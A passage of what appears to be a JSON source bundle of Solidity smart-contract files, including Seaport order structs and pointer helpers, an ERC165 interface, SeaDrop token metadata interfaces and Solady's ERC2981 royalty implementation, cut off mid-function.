`x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/**\n * @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n */\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/**\n * @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n */\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/**\n * @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n */\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/**\n * @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n */\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/**\n * @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n */\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n */\nstruct BasicOrderParameters {\n // calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/**\n * @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n */\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n */\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/**\n * @dev Orders require a signature in addition to the other order parameters.\n */\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/**\n * @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n */\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/**\n * @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n */\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/**\n * @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n */\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/**\n * @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n */\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/**\n * @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n */\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/**\n * @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n */\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/**\n * @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n */\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/**\n * @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n */\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/**\n * @dev This library provides a set of functions for converting structs to\n * pointers.\n */\nlibrary StructPointers {\n /**\n * @dev Get a MemoryPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/**\n * @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n */\ninterface ContractOffererInterface is IERC165 {\n /**\n * @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n *\n * @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n *\n * @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n *\n * @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n */\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /**\n * @dev View function to preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n *\n * @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Gets the metadata for this contract offerer.\n *\n * @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n */\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the EIP-2981 royalty info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n */\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n}\n"
},
"src/interfaces/IERC1155ContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /**\n * @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n *\n * @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n */\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /**\n * @dev Emit an event when the max token supply for a token id is updated.\n */\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Sets the max supply for a token id and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n"
},
"lib/solady/src/tokens/ERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC2981 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 || x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function 